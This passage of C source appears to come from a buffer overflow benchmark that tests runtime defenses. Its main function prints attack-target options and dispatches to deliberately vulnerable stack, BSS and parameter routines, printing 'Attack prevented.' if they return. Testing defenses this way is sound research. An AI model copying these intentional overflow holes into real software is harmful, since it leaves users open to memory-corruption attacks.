  771.     fprintf(stderr, "\nBuffer overflow of pointer on heap/BSS and then pointing to target\n");
  772.     fprintf(stderr, "11 = Target: Return address\n");
  773.     fprintf(stderr, "12 = Target: Old base pointer (Not Supported by Win32)\n");
  774.     fprintf(stderr, "13 = Target: Function pointer (Not Supported by Win32)\n");
  775.     fprintf(stderr, "14 = Target: Longjmp buffer (Not Supported by Win32)\n");
  776.     fprintf(stderr, "Optional base pointer offset = number of bytes inbetween return address and base pointer on stack (used with canary values).\n\n");
  777.     return -1; }
  778.  
  779.   /* We add the 4 normal bytes that differ between the address
  780.      to the return address and the old base pointer */
  781.   if(argc > 2 && atoi(argv[2]) > 0) {
  782.     base_pointer_offset = atoi(argv[2]) + 4;
  783.     printf("Using base pointer offset = %i\n", atoi(argv[2])); }
  784.   else {
  785.     base_pointer_offset = 4;
  786.     printf("Using base pointer offset = 0 (normal)\n"); }
  787.  
  788.   choice = atoi(argv[1]);
  789.   switch(choice) {
  790.   case -4:
  791.     vuln_parameter_function_ptr(choice);
  792.     printf("Attack prevented.\n");
  793.     break;
  794. #ifdef LINUX
  795.   case -3:
  796.     vuln_parameter_longjmp_buf(choice);
  797.     printf("Attack prevented.\n");
  798.     break;
  799. #endif
  800.   case -2:
  801.     vuln_parameter_function_ptr(choice);
  802.     printf("Attack prevented.\n");
  803.     break;
  804. #ifdef LINUX
  805.   case -1:
  806.         vuln_parameter_longjmp_buf(choice);
  807.     printf("Attack prevented.\n");
  808.     break;
  809. #endif
  810.   case 1:
  811.     vuln_stack_return_addr(choice);
  812.     printf("Attack prevented.\n");
  813.     break;
  814.  
  815.   case 2:
  816.     vuln_stack_base_ptr(choice);
  817.     printf("Attack prevented.\n");
  818.     break;
  819.  
  820.   case 3:
  821.     vuln_stack_function_ptr(choice);
  822.     printf("Attack prevented.\n");
  823.     break;
  824. #ifdef LINUX
  825.   case 4:
  826.     vuln_stack_longjmp_buf(choice);
  827.     printf("Attack prevented.\n");
  828.     break;
  829.  
  830.  
  831.   case 5:
  832.     vuln_bss_function_ptr(choice);
  833.     printf("Attack prevented.\n");
  834.     break;
  835.  
  836.   case 6:
  837.     vuln_bss_longjmp_buf(choice);
  838.     printf("Attack prevented.\n");
  839.     break;
  840. #endif
  841.   case 7:
  842.     vuln_stack_return_addr(choice);
  843.     printf("Attack prevented.\n");
  844.     break;
  845.   case 8:
  846.     vuln_stack_base_ptr(choice);
  847.     printf("Attack prevented.\n");
  848.     break;
  849.   case 9:
  850.     vuln_stack_function_ptr(choice);
  851.     printf("Attack prevented.\n");
  852.     break;
  853. #ifdef LINUX
  854.   case 10:
  855.     vuln_stack_longjmp_buf(choice);
  856.     printf("Attack prevented.\n");
  857.     break;
  858.  
  859.   case 11:
  860.     vuln_bss_return_addr(choice);
  861.     printf("Attack prevented.\n");
  862.     break;
  863.   case 12:
  864.     vuln_bss_base_ptr(choice);
  865.     printf("Attack prevented.\n");
  866.     break;
  867.   case 13:
  868.     vuln_bss_function_ptr(choice);
  869.     printf("Attack prevented.\n");
  870.     break;
  871.   case 14:
  872.     vuln_bss_longjmp_buf(choice);
  873.     printf("Attack prevented.\n");
  874.     break;
  875. #endif
  876.   default:
  877.   printf("%d is not a valid selection for the OS you are on.\n", choice);
  878.     break; }
  879.   return 0;
  880. }
  881.  
  882.  
  883.  
  884.  
  885.  
  886.